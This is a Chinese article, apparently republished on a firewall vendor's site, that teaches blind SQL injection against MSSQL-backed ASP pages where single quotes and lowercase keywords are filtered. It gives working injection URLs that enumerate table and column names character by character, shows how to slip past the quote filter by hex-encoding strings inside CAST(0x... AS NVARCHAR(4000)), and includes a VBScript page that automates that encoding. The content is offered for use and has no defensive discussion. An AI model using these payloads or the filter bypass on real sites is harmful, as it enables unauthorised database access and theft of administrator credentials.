English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> 在过滤单引号的条件下进行mssql盲注

 

在过滤单引号的条件下进行mssql盲注

威盾防火墙 2014-12-23

 

# By: 蓝孩 
# 首发 www.3est.com
# 小菜的经验总结,大牛们绕过吧。

最近碰到一个情况,在无报错的情况下,对未知复杂表名进行注入,且过滤了单引号和常见小写的注入关键词。当时搞的时候很是头疼,于是在解决之后很想与大家分享一下,没啥高深的技术,大牛们见笑了。

为了方便看,我先忽略掉过滤了单引号这个条件,后面会详细说明如何突破。

=======================================================================

1.mssql盲注

x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=u) And ascii(substring(name,1,1))>80)=1

这样可以依次猜出第一张表名,假设这里猜出的结果是table1

然后

x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=u And name not in (table1)) And ascii(substring(name,1,1))>80)=1

这里猜出第二表,假设是table2

再然后

x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=u And name not in (table1) And name not in (table2)) And ascii(substring(name,1,1))>80)=1

这里猜出第三章表,假设是……

直到我们猜出了复杂的管理员的表,这里假设是admin_X1y4s

然后我们继续猜字段

这里说明一下,现在的关于盲注的文章基本上就是oldjun的那篇,那篇在叙述猜字段的时候是这样写的

x.asp?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id(database.dbo.table)) and ascii(substring(name,1,1))>90)=1

但是我在实际测试的时候这条语句并不成功,然后改造了下:

x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where table_name=admin_X1y4s),1,1))>80

经过上面这条,我们猜到了第一个字段,假设是id,那么再

x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>(‘id’) And table_name=admin_x1y4s),1,1))>80

就可以猜出第二条字段名,依次…………

既然表名和字段名都出来了,猜具体数据的过程我在这里就不叙述了。

==============================================================================

2.如何绕过单引号

在上面的过程中,会使用到单引号,对于单字符,可以直接使用0xffff的形式,但是对于字符串却不行,这个让自己头疼了很久,然后经过漫漫测试,发现可以利用Cast函数进行转换。

举个例子:

当盲注语句是 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype=u and name not in (table1)) and ascii(substring(name,1,1))>90)=1

于是:【table1】转换成【CAST(0x7400610062006C0065003100 AS NVARCHAR(4000))】 (就是转换成16进制)

然后就可以使用【CAST(0x7400610062006C0065003100 AS NVARCHAR(4000))】代替【table1】

【u】同理。

为了方便大家,具体工具我贴出来。 
<title>3EST注入辅助转换工具</title>
<script language=vbs>
sub sqlencode()
Dim strTest
strTest = form1.text1.value
myHex = Str2Hex(strTest)
document.write "<pre>CAST(0x"&myhex&" AS NVARCHAR(4000))</pre>"
end sub
Function Str2Hex(ByVal strHex)
Dim sHex
For i = 1 To Len(strHex)
sHex = sHex & Hex(Asc(Mid(strHex,i,1)))&"00"
Next
Str2Hex = sHex
End Function
</script>
<form name=form1 method="post">
<p>========================================</p>
<p>||蓝孩(b1u3b0y) [3E Security Team] ||</p>
<p>========================================</p>
<p>无技术含量,就是一个16进制转换器,仅仅为了大家方便。O(∩_∩)O</p>
<input type=text name=text1 value="table1" size=100><input type=submit onclick=sqlencode()
value="给我转">
<br>
</form>


相关内容: 最新内容:
[攻防手记]SQL Server注入大全及防御[2014-12-20]
SQL注入攻击的网络分析及防御方法[2014-12-20]
奇淫绝技:Mysql报错注入利用总结分享[2014-12-20]
SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]
SQL注入防御:用三种策略应对SQL注入攻击[2014-12-20]
突破防盗链访问WEBSHELL[2014-12-23]
用防盗链系统修复IIS6.0解析漏洞的技巧[2014-12-23]
IIS下Rewrite组件防盗链 图文教程[2014-12-23]
【防盗链】浅谈网站防盗链技术[2014-12-23]
IIS防盗链 ISAPI Rewrite图片防盗链规则写法[2014-12-23]
在WIN2003上用ISAPI Rewrite实现iis防盗链[2014-12-23]